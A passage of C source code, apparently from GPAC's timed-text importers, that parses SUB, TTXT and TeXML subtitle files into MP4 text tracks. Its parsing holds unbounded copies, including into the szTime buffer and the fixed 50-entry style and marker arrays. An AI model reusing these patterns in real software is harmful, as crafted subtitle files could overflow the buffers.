gf_text_get_video_size(import, &w, &h); /*have to work with default - use max size (if only one video, this means the text region is the entire display, and with bottom alignment things should be fine...*/ gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, 0, 0, 0); sd = (GF_TextSampleDescriptor*)gf_odf_desc_new(GF_ODF_TX3G_TAG); sd->fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); sd->font_count = 1; sd->fonts[0].fontID = 1; sd->fonts[0].fontName = gf_strdup("Serif"); sd->back_color = 0x00000000; /*transparent*/ sd->default_style.fontID = 1; sd->default_style.font_size = TTXT_DEFAULT_FONT_SIZE; sd->default_style.text_color = 0xFFFFFFFF; /*white*/ sd->default_style.style_flags = 0; sd->horiz_justif = 1; /*center of scene*/ sd->vert_justif = (s8) -1; /*bottom of scene*/ if (import->flags & GF_IMPORT_SKIP_TXT_BOX) { sd->default_pos.top = sd->default_pos.left = sd->default_pos.right = sd->default_pos.bottom = 0; } else { if ((sd->default_pos.bottom==sd->default_pos.top) || (sd->default_pos.right==sd->default_pos.left)) { sd->default_pos.left = import->text_x; sd->default_pos.top = import->text_y; sd->default_pos.right = (import->text_width ? import->text_width : w) + sd->default_pos.left; sd->default_pos.bottom = (import->text_height ? import->text_height : h) + sd->default_pos.top; } } gf_isom_new_text_description(import->dest, track, sd, NULL, NULL, &desc_idx); gf_import_message(import, GF_OK, "Timed Text (SUB @ %02.2f) import - text track %d x %d, font %s (size %d)", FPS, w, h, sd->fonts[0].fontName, TTXT_DEFAULT_FONT_SIZE); gf_odf_desc_del((GF_Descriptor *)sd); } duration = (u32) (((Double) import->duration)*timescale/1000.0); e = GF_OK; nb_samp = 0; samp = gf_isom_new_text_sample(); FPS = ((Double) timescale ) / FPS; end = prev_end = 0; line = 0; first_samp = GF_TRUE; while (1) { char *sOK = gf_text_get_utf8_line(szLine, 2048, sub_in, unicode_type); if (!sOK) break; REM_TRAIL_MARKS(szLine, "\r\n\t ") line++; len = (u32) strlen(szLine); if (!len) continue; i=0; if (szLine[i] != '{') { e = gf_import_message(import, GF_NON_COMPLIANT_BITSTREAM, "Bad SUB file (line %d): expecting \"{\" got \"%c\"", line, szLine[i]); goto exit; } while (szLine[i+1] && szLine[i+1]!='}') { szTime[i] = szLine[i+1]; i++; } szTime[i] = 0; start = atoi(szTime); if (start<end) { gf_import_message(import, GF_OK, "WARNING: corrupted SUB frame (line %d) - starts (at %d ms) before end of previous one (%d ms) - adjusting time stamps", line, start, end); start = end; } j=i+2; i=0; if (szLine[i+j] != '{') { e = gf_import_message(import, GF_NON_COMPLIANT_BITSTREAM, "Bad SUB file - expecting \"{\" got \"%c\"", szLine[i]); goto exit; } while (szLine[i+1+j] && szLine[i+1+j]!='}') { szTime[i] = szLine[i+1+j]; i++; } szTime[i] = 0; end = atoi(szTime); j+=i+2; if (start>end) { gf_import_message(import, GF_OK, "WARNING: corrupted SUB frame (line %d) - ends (at %d ms) before start of current frame (%d ms) - skipping", line, end, start); continue; } gf_isom_text_reset(samp); if (start && first_samp) { s = gf_isom_text_to_sample(samp); s->DTS = 0; s->IsRAP = RAP; gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); first_samp = GF_FALSE; nb_samp++; } for (i=j; i<len; i++) { if (szLine[i]=='|') { szText[i-j] = '\n'; } else { szText[i-j] = szLine[i]; } } szText[i-j] = 0; gf_isom_text_add_text(samp, szText, (u32) strlen(szText) ); if (prev_end) { GF_TextSample * empty_samp = gf_isom_new_text_sample(); s = gf_isom_text_to_sample(empty_samp); s->DTS = (u64) (FPS*(s64)prev_end); gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; gf_isom_delete_text_sample(empty_samp); } s = gf_isom_text_to_sample(samp); s->DTS = (u64) (FPS*(s64)start); gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; gf_isom_text_reset(samp); prev_end = end; gf_set_progress("Importing SUB", gf_ftell(sub_in), file_size); if (duration && (end >= duration)) break; } /*final flush*/ if (end && !(import->flags & GF_IMPORT_NO_TEXT_FLUSH ) ) { gf_isom_text_reset(samp); s = gf_isom_text_to_sample(samp); s->DTS = (u64)(FPS*(s64)end); gf_isom_add_sample(import->dest, track, 1, s); gf_isom_sample_del(&s); nb_samp++; } gf_isom_delete_text_sample(samp); gf_isom_set_last_sample_duration(import->dest, track, 0); gf_set_progress("Importing SUB", nb_samp, nb_samp); exit: if (e) gf_isom_remove_track(import->dest, track); gf_fclose(sub_in); return e; } #define CHECK_STR(__str) \ if (!__str) { \ e = gf_import_message(import, GF_BAD_PARAM, "Invalid XML formatting (line %d)", parser.line); \ goto exit; \ } \ u32 ttxt_get_color(GF_MediaImporter *import, char *val) { u32 r, g, b, a, res; r = g = b = a = 0; if (sscanf(val, "%x %x %x %x", &r, &g, &b, &a) != 4) { gf_import_message(import, GF_OK, "Warning: color badly formatted"); } res = (a&0xFF); res<<=8; res |= (r&0xFF); res<<=8; res |= (g&0xFF); res<<=8; res |= (b&0xFF); return res; } void ttxt_parse_text_box(GF_MediaImporter *import, GF_XMLNode *n, GF_BoxRecord *box) { u32 i=0; GF_XMLAttribute *att; memset(box, 0, sizeof(GF_BoxRecord)); while ( (att=(GF_XMLAttribute *)gf_list_enum(n->attributes, &i))) { if (!stricmp(att->name, "top")) box->top = atoi(att->value); else if (!stricmp(att->name, "bottom")) box->bottom = atoi(att->value); else if (!stricmp(att->name, "left")) box->left = atoi(att->value); else if (!stricmp(att->name, "right")) box->right = atoi(att->value); } } void ttxt_parse_text_style(GF_MediaImporter *import, GF_XMLNode *n, GF_StyleRecord *style) { u32 i=0; GF_XMLAttribute *att; memset(style, 0, sizeof(GF_StyleRecord)); style->fontID = 1; style->font_size = TTXT_DEFAULT_FONT_SIZE; style->text_color = 0xFFFFFFFF; while ( (att=(GF_XMLAttribute *)gf_list_enum(n->attributes, &i))) { if (!stricmp(att->name, "fromChar")) style->startCharOffset = atoi(att->value); else if (!stricmp(att->name, "toChar")) style->endCharOffset = atoi(att->value); else if (!stricmp(att->name, "fontID")) style->fontID = atoi(att->value); else if (!stricmp(att->name, "fontSize")) style->font_size = atoi(att->value); else if (!stricmp(att->name, "color")) style->text_color = ttxt_get_color(import, att->value); else if (!stricmp(att->name, "styles")) { if (strstr(att->value, "Bold")) style->style_flags |= GF_TXT_STYLE_BOLD; if (strstr(att->value, "Italic")) style->style_flags |= GF_TXT_STYLE_ITALIC; if (strstr(att->value, "Underlined")) style->style_flags |= GF_TXT_STYLE_UNDERLINED; } } } static void ttxt_import_progress(void *cbk, u64 cur_samp, u64 count) { gf_set_progress("TTXT Loading", cur_samp, count); } static GF_Err gf_text_import_ttxt(GF_MediaImporter *import) { GF_Err e; Bool last_sample_empty; u32 i, j, k, track, ID, nb_samples, nb_descs, nb_children; u64 last_sample_duration; GF_XMLAttribute *att; GF_DOMParser *parser; GF_XMLNode *root, *node, *ext; if (import->flags==GF_IMPORT_PROBE_ONLY) return GF_OK; parser = gf_xml_dom_new(); e = gf_xml_dom_parse(parser, import->in_name, ttxt_import_progress, import); if (e) { gf_import_message(import, e, "Error parsing TTXT file: Line %d - %s", gf_xml_dom_get_line(parser), gf_xml_dom_get_error(parser)); gf_xml_dom_del(parser); return e; } root = gf_xml_dom_get_root(parser); e = GF_OK; if (strcmp(root->name, "TextStream")) { e = gf_import_message(import, GF_BAD_PARAM, "Invalid Timed Text file - expecting \"TextStream\" got %s", "TextStream", root->name); goto exit; } /*setup track in 3GP format directly (no ES desc)*/ ID = (import->esd) ? import->esd->ESID : 0; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, 1000); if (!track) { e = gf_isom_last_error(import->dest); goto exit; } gf_isom_set_track_enabled(import->dest, track, 1); /*some MPEG-4 setup*/ if (import->esd) { if (!import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (!import->esd->decoderConfig) import->esd->decoderConfig = (GF_DecoderConfig *) gf_odf_desc_new(GF_ODF_DCD_TAG); if (!import->esd->slConfig) import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->timestampResolution = 1000; import->esd->decoderConfig->streamType = GF_STREAM_TEXT; import->esd->decoderConfig->objectTypeIndication = GPAC_OTI_TEXT_MPEG4; if (import->esd->OCRESID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, import->esd->OCRESID); } gf_text_import_set_language(import, track); gf_import_message(import, GF_OK, "Timed Text (GPAC TTXT) Import"); last_sample_empty = GF_FALSE; last_sample_duration = 0; nb_descs = 0; nb_samples = 0; nb_children = gf_list_count(root->content); i=0; while ( (node = (GF_XMLNode*)gf_list_enum(root->content, &i))) { if (node->type) { nb_children--; continue; } if (!strcmp(node->name, "TextStreamHeader")) { GF_XMLNode *sdesc; s32 w, h, tx, ty, layer; u32 tref_id; w = TTXT_DEFAULT_WIDTH; h = TTXT_DEFAULT_HEIGHT; tx = ty = layer = 0; nb_children--; tref_id = 0; j=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(node->attributes, &j))) { if (!strcmp(att->name, "width")) w = atoi(att->value); else if (!strcmp(att->name, "height")) h = atoi(att->value); else if (!strcmp(att->name, "layer")) layer = atoi(att->value); else if (!strcmp(att->name, "translation_x")) tx = atoi(att->value); else if (!strcmp(att->name, "translation_y")) ty = atoi(att->value); else if (!strcmp(att->name, "trefID")) tref_id = atoi(att->value); } if (tref_id) gf_isom_set_track_reference(import->dest, track, GF_ISOM_BOX_TYPE_CHAP, tref_id); gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, tx<<16, ty<<16, (s16) layer); j=0; while ( (sdesc=(GF_XMLNode*)gf_list_enum(node->content, &j))) { if (sdesc->type) continue; if (!strcmp(sdesc->name, "TextSampleDescription")) { GF_TextSampleDescriptor td; u32 idx; memset(&td, 0, sizeof(GF_TextSampleDescriptor)); td.tag = GF_ODF_TEXT_CFG_TAG; td.vert_justif = (s8) -1; td.default_style.fontID = 1; td.default_style.font_size = TTXT_DEFAULT_FONT_SIZE; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(sdesc->attributes, &k))) { if (!strcmp(att->name, "horizontalJustification")) { if (!stricmp(att->value, "center")) td.horiz_justif = 1; else if (!stricmp(att->value, "right")) td.horiz_justif = (s8) -1; else if (!stricmp(att->value, "left")) td.horiz_justif = 0; } else if (!strcmp(att->name, "verticalJustification")) { if (!stricmp(att->value, "center")) td.vert_justif = 1; else if (!stricmp(att->value, "bottom")) td.vert_justif = (s8) -1; else if (!stricmp(att->value, "top")) td.vert_justif = 0; } else if (!strcmp(att->name, "backColor")) td.back_color = ttxt_get_color(import, att->value); else if (!strcmp(att->name, "verticalText") && !stricmp(att->value, "yes") ) td.displayFlags |= GF_TXT_VERTICAL; else if (!strcmp(att->name, "fillTextRegion") && !stricmp(att->value, "yes") ) td.displayFlags |= GF_TXT_FILL_REGION; else if (!strcmp(att->name, "continuousKaraoke") && !stricmp(att->value, "yes") ) td.displayFlags |= GF_TXT_KARAOKE; else if (!strcmp(att->name, "scroll")) { if (!stricmp(att->value, "inout")) td.displayFlags |= GF_TXT_SCROLL_IN | GF_TXT_SCROLL_OUT; else if (!stricmp(att->value, "in")) td.displayFlags |= GF_TXT_SCROLL_IN; else if (!stricmp(att->value, "out")) td.displayFlags |= GF_TXT_SCROLL_OUT; } else if (!strcmp(att->name, "scrollMode")) { u32 scroll_mode = GF_TXT_SCROLL_CREDITS; if (!stricmp(att->value, "Credits")) scroll_mode = GF_TXT_SCROLL_CREDITS; else if (!stricmp(att->value, "Marquee")) scroll_mode = GF_TXT_SCROLL_MARQUEE; else if (!stricmp(att->value, "Right")) scroll_mode = GF_TXT_SCROLL_RIGHT; else if (!stricmp(att->value, "Down")) scroll_mode = GF_TXT_SCROLL_DOWN; td.displayFlags |= ((scroll_mode<<7) & GF_TXT_SCROLL_DIRECTION); } } k=0; while ( (ext=(GF_XMLNode*)gf_list_enum(sdesc->content, &k))) { if (ext->type) continue; if (!strcmp(ext->name, "TextBox")) ttxt_parse_text_box(import, ext, &td.default_pos); else if (!strcmp(ext->name, "Style")) ttxt_parse_text_style(import, ext, &td.default_style); else if (!strcmp(ext->name, "FontTable")) { GF_XMLNode *ftable; u32 z=0; while ( (ftable=(GF_XMLNode*)gf_list_enum(ext->content, &z))) { u32 m; if (ftable->type || strcmp(ftable->name, "FontTableEntry")) continue; td.font_count += 1; td.fonts = (GF_FontRecord*)gf_realloc(td.fonts, sizeof(GF_FontRecord)*td.font_count); m=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ftable->attributes, &m))) { if (!stricmp(att->name, "fontID")) td.fonts[td.font_count-1].fontID = atoi(att->value); else if (!stricmp(att->name, "fontName")) td.fonts[td.font_count-1].fontName = gf_strdup(att->value); } } } } if (import->flags & GF_IMPORT_SKIP_TXT_BOX) { td.default_pos.top = td.default_pos.left = td.default_pos.right = td.default_pos.bottom = 0; } else { if ((td.default_pos.bottom==td.default_pos.top) || (td.default_pos.right==td.default_pos.left)) { td.default_pos.top = td.default_pos.left = 0; td.default_pos.right = w; td.default_pos.bottom = h; } } if (!td.fonts) { td.font_count = 1; td.fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); td.fonts[0].fontID = 1; td.fonts[0].fontName = gf_strdup("Serif"); } gf_isom_new_text_description(import->dest, track, &td, NULL, NULL, &idx); for (k=0; k<td.font_count; k++) gf_free(td.fonts[k].fontName); gf_free(td.fonts); nb_descs ++; } } } /*sample text*/ else if (!strcmp(node->name, "TextSample")) { GF_ISOSample *s; GF_TextSample * samp; u32 ts, descIndex; Bool has_text = GF_FALSE; if (!nb_descs) { e = gf_import_message(import, GF_BAD_PARAM, "Invalid Timed Text file - text stream header not found or empty"); goto exit; } samp = gf_isom_new_text_sample(); ts = 0; descIndex = 1; last_sample_empty = GF_TRUE; j=0; while ( (att=(GF_XMLAttribute*)gf_list_enum(node->attributes, &j))) { if (!strcmp(att->name, "sampleTime")) { u32 h, m, s, ms; if (sscanf(att->value, "%u:%u:%u.%u", &h, &m, &s, &ms) == 4) { ts = (h*3600 + m*60 + s)*1000 + ms; } else { ts = (u32) (atof(att->value) * 1000); } } else if (!strcmp(att->name, "sampleDescriptionIndex")) descIndex = atoi(att->value); else if (!strcmp(att->name, "text")) { u32 len; char *str = ttxt_parse_string(import, att->value, GF_TRUE); len = (u32) strlen(str); gf_isom_text_add_text(samp, str, len); last_sample_empty = len ? GF_FALSE : GF_TRUE; has_text = GF_TRUE; } else if (!strcmp(att->name, "scrollDelay")) gf_isom_text_set_scroll_delay(samp, (u32) (1000*atoi(att->value))); else if (!strcmp(att->name, "highlightColor")) gf_isom_text_set_highlight_color_argb(samp, ttxt_get_color(import, att->value)); else if (!strcmp(att->name, "wrap") && !strcmp(att->value, "Automatic")) gf_isom_text_set_wrap(samp, 0x01); } /*get all modifiers*/ j=0; while ( (ext=(GF_XMLNode*)gf_list_enum(node->content, &j))) { if (!has_text && (ext->type==GF_XML_TEXT_TYPE)) { u32 len; char *str = ttxt_parse_string(import, ext->name, GF_FALSE); len = (u32) strlen(str); gf_isom_text_add_text(samp, str, len); last_sample_empty = len ? GF_FALSE : GF_TRUE; has_text = GF_TRUE; } if (ext->type) continue; if (!stricmp(ext->name, "Style")) { GF_StyleRecord r; ttxt_parse_text_style(import, ext, &r); gf_isom_text_add_style(samp, &r); } else if (!stricmp(ext->name, "TextBox")) { GF_BoxRecord r; ttxt_parse_text_box(import, ext, &r); gf_isom_text_set_box(samp, r.top, r.left, r.bottom, r.right); } else if (!stricmp(ext->name, "Highlight")) { u16 start, end; start = end = 0; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); } gf_isom_text_add_highlight(samp, start, end); } else if (!stricmp(ext->name, "Blinking")) { u16 start, end; start = end = 0; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); } gf_isom_text_add_blink(samp, start, end); } else if (!stricmp(ext->name, "HyperLink")) { u16 start, end; char *url, *url_tt; start = end = 0; url = url_tt = NULL; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); else if (!strcmp(att->name, "URL")) url = gf_strdup(att->value); else if (!strcmp(att->name, "URLToolTip")) url_tt = gf_strdup(att->value); } gf_isom_text_add_hyperlink(samp, url, url_tt, start, end); if (url) gf_free(url); if (url_tt) gf_free(url_tt); } else if (!stricmp(ext->name, "Karaoke")) { u32 startTime; GF_XMLNode *krok; startTime = 0; k=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(ext->attributes, &k))) { if (!strcmp(att->name, "startTime")) startTime = (u32) (1000*atof(att->value)); } gf_isom_text_add_karaoke(samp, startTime); k=0; while ( (krok=(GF_XMLNode*)gf_list_enum(ext->content, &k))) { u16 start, end; u32 endTime, m; if (krok->type) continue; if (strcmp(krok->name, "KaraokeRange")) continue; start = end = 0; endTime = 0; m=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(krok->attributes, &m))) { if (!strcmp(att->name, "fromChar")) start = atoi(att->value); else if (!strcmp(att->name, "toChar")) end = atoi(att->value); else if (!strcmp(att->name, "endTime")) endTime = (u32) (1000*atof(att->value)); } gf_isom_text_set_karaoke_segment(samp, endTime, start, end); } } } /*in MP4 we must start at T=0, so add an empty sample*/ if (ts && !nb_samples) { GF_TextSample * firstsamp = gf_isom_new_text_sample(); s = gf_isom_text_to_sample(firstsamp); s->DTS = 0; gf_isom_add_sample(import->dest, track, 1, s); nb_samples++; gf_isom_delete_text_sample(firstsamp); gf_isom_sample_del(&s); } s = gf_isom_text_to_sample(samp); gf_isom_delete_text_sample(samp); s->DTS = ts; if (last_sample_empty) { last_sample_duration = s->DTS - last_sample_duration; } else { last_sample_duration = s->DTS; } e = gf_isom_add_sample(import->dest, track, descIndex, s); if (e) goto exit; gf_isom_sample_del(&s); nb_samples++; gf_set_progress("Importing TTXT", nb_samples, nb_children); if (import->duration && (ts>import->duration)) break; } } if (last_sample_empty) { gf_isom_remove_sample(import->dest, track, nb_samples); gf_isom_set_last_sample_duration(import->dest, track, (u32) last_sample_duration); } gf_set_progress("Importing TTXT", nb_samples, nb_samples); exit: gf_xml_dom_del(parser); return e; } u32 tx3g_get_color(GF_MediaImporter *import, char *value) { u32 r, g, b, a; u32 res, v; r = g = b = a = 0; if (sscanf(value, "%u%%, %u%%, %u%%, %u%%", &r, &g, &b, &a) != 4) { gf_import_message(import, GF_OK, "Warning: color badly formatted"); } v = (u32) (a*255/100); res = (v&0xFF); res<<=8; v = (u32) (r*255/100); res |= (v&0xFF); res<<=8; v = (u32) (g*255/100); res |= (v&0xFF); res<<=8; v = (u32) (b*255/100); res |= (v&0xFF); return res; } void tx3g_parse_text_box(GF_MediaImporter *import, GF_XMLNode *n, GF_BoxRecord *box) { u32 i=0; GF_XMLAttribute *att; memset(box, 0, sizeof(GF_BoxRecord)); while ((att=(GF_XMLAttribute *)gf_list_enum(n->attributes, &i))) { if (!stricmp(att->name, "x")) box->left = atoi(att->value); else if (!stricmp(att->name, "y")) box->top = atoi(att->value); else if (!stricmp(att->name, "height")) box->bottom = atoi(att->value); else if (!stricmp(att->name, "width")) box->right = atoi(att->value); } } typedef struct { u32 id; u32 pos; } Marker; #define GET_MARKER_POS(_val, __isend) \ { \ u32 i, __m = atoi(att->value); \ _val = 0; \ for (i=0; i<nb_marks; i++) { if (__m==marks[i].id) { _val = marks[i].pos; /*if (__isend) _val--; */break; } } \ } static void texml_import_progress(void *cbk, u64 cur_samp, u64 count) { gf_set_progress("TeXML Loading", cur_samp, count); } static GF_Err gf_text_import_texml(GF_MediaImporter *import) { GF_Err e; u32 track, ID, nb_samples, nb_children, nb_descs, timescale, w, h, i, j, k; u64 DTS; s32 tx, ty, layer; GF_StyleRecord styles[50]; Marker marks[50]; GF_XMLAttribute *att; GF_DOMParser *parser; GF_XMLNode *root, *node; if (import->flags==GF_IMPORT_PROBE_ONLY) return GF_OK; parser = gf_xml_dom_new(); e = gf_xml_dom_parse(parser, import->in_name, texml_import_progress, import); if (e) { gf_import_message(import, e, "Error parsing TeXML file: Line %d - %s", gf_xml_dom_get_line(parser), gf_xml_dom_get_error(parser)); gf_xml_dom_del(parser); return e; } root = gf_xml_dom_get_root(parser); if (strcmp(root->name, "text3GTrack")) { e = gf_import_message(import, GF_BAD_PARAM, "Invalid QT TeXML file - expecting root \"text3GTrack\" got \"%s\"", root->name); goto exit; } w = TTXT_DEFAULT_WIDTH; h = TTXT_DEFAULT_HEIGHT; tx = ty = 0; layer = 0; timescale = 1000; i=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(root->attributes, &i))) { if (!strcmp(att->name, "trackWidth")) w = atoi(att->value); else if (!strcmp(att->name, "trackHeight")) h = atoi(att->value); else if (!strcmp(att->name, "layer")) layer = atoi(att->value); else if (!strcmp(att->name, "timescale")) timescale = atoi(att->value); else if (!strcmp(att->name, "transform")) { Float fx, fy; sscanf(att->value, "translate(%f,%f)", &fx, &fy); tx = (u32) fx; ty = (u32) fy; } } /*setup track in 3GP format directly (no ES desc)*/ ID = (import->esd) ? import->esd->ESID : 0; track = gf_isom_new_track(import->dest, ID, GF_ISOM_MEDIA_TEXT, timescale); if (!track) { e = gf_isom_last_error(import->dest); goto exit; } gf_isom_set_track_enabled(import->dest, track, 1); /*some MPEG-4 setup*/ if (import->esd) { if (!import->esd->ESID) import->esd->ESID = gf_isom_get_track_id(import->dest, track); if (!import->esd->decoderConfig) import->esd->decoderConfig = (GF_DecoderConfig *) gf_odf_desc_new(GF_ODF_DCD_TAG); if (!import->esd->slConfig) import->esd->slConfig = (GF_SLConfig *) gf_odf_desc_new(GF_ODF_SLC_TAG); import->esd->slConfig->timestampResolution = timescale; import->esd->decoderConfig->streamType = GF_STREAM_TEXT; import->esd->decoderConfig->objectTypeIndication = GPAC_OTI_TEXT_MPEG4; if (import->esd->OCRESID) gf_isom_set_track_reference(import->dest, track, GF_ISOM_REF_OCR, import->esd->OCRESID); } DTS = 0; gf_isom_set_track_layout_info(import->dest, track, w<<16, h<<16, tx<<16, ty<<16, (s16) layer); gf_text_import_set_language(import, track); e = GF_OK; gf_import_message(import, GF_OK, "Timed Text (QT TeXML) Import - Track Size %d x %d", w, h); nb_children = gf_list_count(root->content); nb_descs = 0; nb_samples = 0; i=0; while ( (node=(GF_XMLNode*)gf_list_enum(root->content, &i))) { GF_XMLNode *desc; GF_TextSampleDescriptor td; GF_TextSample * samp = NULL; GF_ISOSample *s; u32 duration, descIndex, nb_styles, nb_marks; Bool isRAP, same_style, same_box; if (node->type) continue; if (strcmp(node->name, "sample")) continue; isRAP = GF_FALSE; duration = 1000; j=0; while ((att=(GF_XMLAttribute *)gf_list_enum(node->attributes, &j))) { if (!strcmp(att->name, "duration")) duration = atoi(att->value); else if (!strcmp(att->name, "keyframe")) isRAP = (!stricmp(att->value, "true") ? GF_TRUE : GF_FALSE); } nb_styles = 0; nb_marks = 0; same_style = same_box = GF_FALSE; descIndex = 1; j=0; while ((desc=(GF_XMLNode*)gf_list_enum(node->content, &j))) { if (desc->type) continue; if (!strcmp(desc->name, "description")) { GF_XMLNode *sub; memset(&td, 0, sizeof(GF_TextSampleDescriptor)); td.tag = GF_ODF_TEXT_CFG_TAG; td.vert_justif = (s8) -1; td.default_style.fontID = 1; td.default_style.font_size = TTXT_DEFAULT_FONT_SIZE; k=0; while ((att=(GF_XMLAttribute *)gf_list_enum(desc->attributes, &k))) { if (!strcmp(att->name, "horizontalJustification")) { if (!stricmp(att->value, "center")) td.horiz_justif = 1; else if (!stricmp(att->value, "right")) td.horiz_justif = (s8) -1; else if (!stricmp(att->value, "left")) td.horiz_justif = 0; } else if (!strcmp(att->name, "verticalJustification")) { if (!stricmp(att->value, "center")) td.vert_justif = 1; else if (!stricmp(att->value, "bottom")) td.vert_justif = (s8) -1; else if (!stricmp(att->value, "top")) td.vert_justif = 0; } else if (!strcmp(att->name, "backgroundColor")) td.back_color = tx3g_get_color(import, att->value); else if (!strcmp(att->name, "displayFlags")) { Bool rev_scroll = GF_FALSE; if (strstr(att->value, "scroll")) { u32 scroll_mode = 0; if (strstr(att->value, "scrollIn")) td.displayFlags |= GF_TXT_SCROLL_IN; if (strstr(att->value, "scrollOut")) td.displayFlags |= GF_TXT_SCROLL_OUT; if (strstr(att->value, "reverse")) rev_scroll = GF_TRUE; if (strstr(att->value, "horizontal")) scroll_mode = rev_scroll ? GF_TXT_SCROLL_RIGHT : GF_TXT_SCROLL_MARQUEE; else scroll_mode = (rev_scroll ? GF_TXT_SCROLL_DOWN : GF_TXT_SCROLL_CREDITS); td.displayFlags |= (scroll_mode<<7) & GF_TXT_SCROLL_DIRECTION; } /*TODO FIXME: check in QT doc !!*/ if (strstr(att->value, "writeTextVertically")) td.displayFlags |= GF_TXT_VERTICAL; if (!strcmp(att->name, "continuousKaraoke")) td.displayFlags |= GF_TXT_KARAOKE; } } k=0; while ((sub=(GF_XMLNode*)gf_list_enum(desc->content, &k))) { if (sub->type) continue; if (!strcmp(sub->name, "defaultTextBox")) tx3g_parse_text_box(import, sub, &td.default_pos); else if (!strcmp(sub->name, "fontTable")) { GF_XMLNode *ftable; u32 m=0; while ((ftable=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { if (ftable->type) continue; if (!strcmp(ftable->name, "font")) { u32 n=0; td.font_count += 1; td.fonts = (GF_FontRecord*)gf_realloc(td.fonts, sizeof(GF_FontRecord)*td.font_count); while ((att=(GF_XMLAttribute *)gf_list_enum(ftable->attributes, &n))) { if (!stricmp(att->name, "id")) td.fonts[td.font_count-1].fontID = atoi(att->value); else if (!stricmp(att->name, "name")) td.fonts[td.font_count-1].fontName = gf_strdup(att->value); } } } } else if (!strcmp(sub->name, "sharedStyles")) { GF_XMLNode *style, *ftable; u32 m=0; while ((style=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { if (style->type) continue; if (!strcmp(style->name, "style")) break; } if (style) { char *cur; s32 start=0; char css_style[1024], css_val[1024]; memset(&styles[nb_styles], 0, sizeof(GF_StyleRecord)); m=0; while ( (att=(GF_XMLAttribute *)gf_list_enum(style->attributes, &m))) { if (!strcmp(att->name, "id")) styles[nb_styles].startCharOffset = atoi(att->value); } m=0; while ( (ftable=(GF_XMLNode*)gf_list_enum(style->content, &m))) { if (ftable->type) break; } cur = ftable->name; while (cur) { start = gf_token_get_strip(cur, 0, "{:", " ", css_style, 1024); if (start <0) break; start = gf_token_get_strip(cur, start, ":}", " ", css_val, 1024); if (start <0) break; cur = strchr(cur+start, '{'); if (!strcmp(css_style, "font-table")) { u32 z; styles[nb_styles].fontID = atoi(css_val); for (z=0; z<td.font_count; z++) { if (td.fonts[z].fontID == styles[nb_styles].fontID) break; } } else if (!strcmp(css_style, "font-size")) styles[nb_styles].font_size = atoi(css_val); else if (!strcmp(css_style, "font-style") && !strcmp(css_val, "italic")) styles[nb_styles].style_flags |= GF_TXT_STYLE_ITALIC; else if (!strcmp(css_style, "font-weight") && !strcmp(css_val, "bold")) styles[nb_styles].style_flags |= GF_TXT_STYLE_BOLD; else if (!strcmp(css_style, "text-decoration") && !strcmp(css_val, "underline")) styles[nb_styles].style_flags |= GF_TXT_STYLE_UNDERLINED; else if (!strcmp(css_style, "color")) styles[nb_styles].text_color = tx3g_get_color(import, css_val); } if (!nb_styles) td.default_style = styles[0]; nb_styles++; } } } if ((td.default_pos.bottom==td.default_pos.top) || (td.default_pos.right==td.default_pos.left)) { td.default_pos.top = td.default_pos.left = 0; td.default_pos.right = w; td.default_pos.bottom = h; } if (!td.fonts) { td.font_count = 1; td.fonts = (GF_FontRecord*)gf_malloc(sizeof(GF_FontRecord)); td.fonts[0].fontID = 1; td.fonts[0].fontName = gf_strdup("Serif"); } gf_isom_text_has_similar_description(import->dest, track, &td, &descIndex, &same_box, &same_style); if (!descIndex) { gf_isom_new_text_description(import->dest, track, &td, NULL, NULL, &descIndex); same_style = same_box = GF_TRUE; } for (k=0; k<td.font_count; k++) gf_free(td.fonts[k].fontName); gf_free(td.fonts); nb_descs ++; } else if (!strcmp(desc->name, "sampleData")) { GF_XMLNode *sub; u16 start, end; u32 styleID; u32 nb_chars, txt_len, m; nb_chars = 0; samp = gf_isom_new_text_sample(); k=0; while ((att=(GF_XMLAttribute *)gf_list_enum(desc->attributes, &k))) { if (!strcmp(att->name, "targetEncoding") && !strcmp(att->value, "utf16")) ;//is_utf16 = 1; else if (!strcmp(att->name, "scrollDelay")) gf_isom_text_set_scroll_delay(samp, atoi(att->value) ); else if (!strcmp(att->name, "highlightColor")) gf_isom_text_set_highlight_color_argb(samp, tx3g_get_color(import, att->value)); } start = end = 0; k=0; while ((sub=(GF_XMLNode*)gf_list_enum(desc->content, &k))) { if (sub->type) continue; if (!strcmp(sub->name, "text")) { GF_XMLNode *text; styleID = 0; m=0; while ((att=(GF_XMLAttribute *)gf_list_enum(sub->attributes, &m))) { if (!strcmp(att->name, "styleID")) styleID = atoi(att->value); } txt_len = 0; m=0; while ((text=(GF_XMLNode*)gf_list_enum(sub->content, &m))) { if (!text->type) { if (!strcmp(text->name, "marker")) { u32 z; memset(&marks[nb_marks], 0, sizeof(Marker)); marks[nb_marks].pos = nb_chars+txt_len; z = 0; while ( (att=(GF_XMLAttribute *)gf_list_enum(text->attributes, 